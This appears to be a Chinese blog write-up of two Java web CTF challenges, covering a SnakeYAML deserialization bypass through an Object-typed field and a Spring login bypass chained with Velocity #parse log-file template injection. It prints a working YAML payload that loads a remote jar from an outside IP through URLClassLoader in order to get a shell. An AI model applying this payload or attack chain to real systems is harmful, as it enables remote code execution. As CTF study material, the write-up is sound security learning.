本来不想打省赛的 但是国赛的题也太弱智了 然后听说有非攻出的Java题就来看省赛了
挺有意思的俩题 也算是第一次自己独立正经做Java题
记录一下

easyyaml

easyyaml的源码非常短
只有一个路由

    public String welcome(Map<String, Object> model, HttpServletRequest request) {
        Yaml yaml = new Yaml();
        User user= yaml.loadAs(request.getParameter("user"),User.class);
        model.put("time", new Date());
        model.put("message", this.message);
        model.put("user",user);
        return "welcome";
    }

使用yaml.loadAs来加载user参数里的yamlpayload
但是loadAS是提前指定了返回值类型的 肯定不能直接拿payload打
第一时间就想到了在User类里找利用
跟入User的定义

public class User {
    public String username;
    public String age;
    public boolean isLogin;
    public ArrayList priviledges;
    public Address address;
    public int group;
}

似乎没什么可利用的 再去看看address

package com.ctf.velocity.Bean;
public class Address {
    public String postCode;
    public String street;
    public Object ext;
    public boolean isValid;
}

这里Object ext引起了我的注意
如果是Object类型的话 那是不是可以直接把yaml反序列化的payload放上去呢
我用yaml.dump构造了个demo

!!com.ctf.velocity.Bean.User
address:
  ext: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://39.106.207.66:4443/yaml-payload.jar"]]]]
  isValid: false
  postCode: null
  street: null
age: '18'
group: 0
isLogin: false
priviledges: null
username: ppp3rh4ps


之后就是很常规的yaml反序列化利用了
弹个shell就行了

logiclogic

这个题出的很巧妙 也很绕
是一个spring
从控制器看起

@Controller
public class WelcomeController {
    @RequestMapping("/welcome")
    public String welcome(HttpServletRequest request, Map<String, Object> model) throws Exception {
        BizBean bizBean = new BizBean(request);
        if (!bizBean.isLogin()) {
            throw new Exception("Login required");
        }
        String welcomeHeader = bizBean.get("welcomeHeader");
        if (!Util.isExist(welcomeHeader)) {
            throw new Exception("Page not exists");
        }
        Util.log(request, "WelcomeMessage:" + bizBean.get("welcomeMessage"));
        model.put("bizBean", bizBean);
        return "/templates/welcome";
    }
    @RequestMapping("/show")
    public String show(HttpServletRequest request, Map<String, Object> model) throws Exception {
        BizBean bizBean = new BizBean(request);
        if (!bizBean.isLogin()) {
            throw new Exception("Login required");
        }
        String showHeader = bizBean.get("showHeader");
        if (!Util.isExist(showHeader)) {
            throw new Exception("Page not exists");
        }
        model.put("bizBean", bizBean);
        return "/templates/show";
    }

可以看到俩控制器都有isLogin的验证 跟进去看下逻辑

package com.ctf.controller;
import org.springframework.util.DigestUtils;
import javax.servlet.http.HttpServletRequest;
import java.util.HashMap;
import java.util.Map;
public class BizBean extends HashMap<String, String> {
    private static final String LOGIN = "login";
    private static final String REAL_IP="real_ip";
    public BizBean(HttpServletRequest request) {
        this.checkLogin(request);
        this.checkIp(request);
        this.initBizBean(request);
    }
    public void initBizBean(HttpServletRequest request) {
        Map<String, String[]> paramMap = request.getParameterMap();
        for (String key : paramMap.keySet()) {
            String[] values = paramMap.get(key);
            if (values.length == 1) {
                this.put(key, values[0]);
            } else {
                String result = "";
                for (String s : values) {
                    result = result + s;
                }
                this.put(key, result);
            }
        }
    }
    public void checkLogin(HttpServletRequest request){
        String secret = request.getParameter("secret");
        if (secret != null && DigestUtils.md5DigestAsHex(secret.getBytes()).equals("5F4DCC3B5AA765D61D8327DEB882CFG9")) {
            this.put(LOGIN, "true");
        } else {
            this.put(LOGIN, "false");
        }
    }
    public void checkIp(HttpServletRequest request){
        String xff=request.getHeader("X-Forwarded-For");
        if(xff!=null){
            this.put(REAL_IP,xff);
        }else{
            this.put(REAL_IP,request.getRemoteAddr());
        }
    }
    public boolean isLogin() {
        return "true".equals(get(LOGIN));
    }
    public String getRealIp(){
        return get(REAL_IP);
    }
}

这里可以看到 BizBean这个类是继承了HashMap的 而判断是否登陆成功是根据当前HashMap的login键是否为true判断的
而checkLogin中,通过hash值的验证来对当前的HashMap的login进行复制
这里吐槽一句 cmd5会把5F4DCC3B5AA765D61D8327DEB882CFG9这个hash值识别成password
而实际上password的hash值是5F4DCC3B5AA765D61D8327DEB882CF99 不知道是什么奇奇怪怪的bug让我愣了一下
这个hash值是查不到的 所以这个函数是指望不上了
前面说了isLogin的结果是由当前HashMap是否存在login=>true决定的 自然会去找别的hashmap.put的地方
于是就可以定位到initBizBean这个方法
这个方法会把web传入的参数给put进当前这个hashmap中 尝试get传参login=true 绕过成功
在绕过isLogin的判断后 还有一个Util.isExist的判断要过 这个只要打个断点一看就行了 不赘述
之后就会加载vm后缀名的模板
看下模板内容

//welcomeHeader
#parse($bizBean.get("welcomeHeader"))
<body>
    <span>Welcome, $bizBean.get("welcomeMessage")</span>
</body>
//showHeader
#parse($bizBean.get("showHeader"))
<body>
<span>lalala</span>
</body>
</html>

这个#parse很引起我的注意 因为它的参数是可控的
并没学过velocity模板的用法 于是我去百度了下才知道这玩意是个包含模板目录的东西
也就是说利用这个模板套娃 我可以包含任意一个文件作为velocity模板
再也就是说 如果我能控制一个文件写入的内容 我就能把这个组合当成velocity模板注入来用
记得前面welcome路由的log吗?

  public static void log(HttpServletRequest request, String log) {
        String filename = DigestUtils.md5DigestAsHex(request.getRequestedSessionId().getBytes());
        String filePath = velocityPath + "/logs/" + filename + ".log";
        if(!new File(velocityPath + "/logs/").exists()){
            new File(velocityPath + "/logs/").mkdir();
        }
        try {
            FileOutputStream fos = new FileOutputStream(filePath, true);
            fos.write(log.getBytes());
            fos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

攻击链一下就串起来了 先写执行命令的模板内容到log里 再利用模板包含来执行命令


两个题都不算很难 攻击链明确不脑洞
因为是中午十二点之后才被学弟拿刀架着脖子上线 两个题都只拿到了三血
顺带吐槽一下一二血貌似都是道格的队….迷惑 不做评价

Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注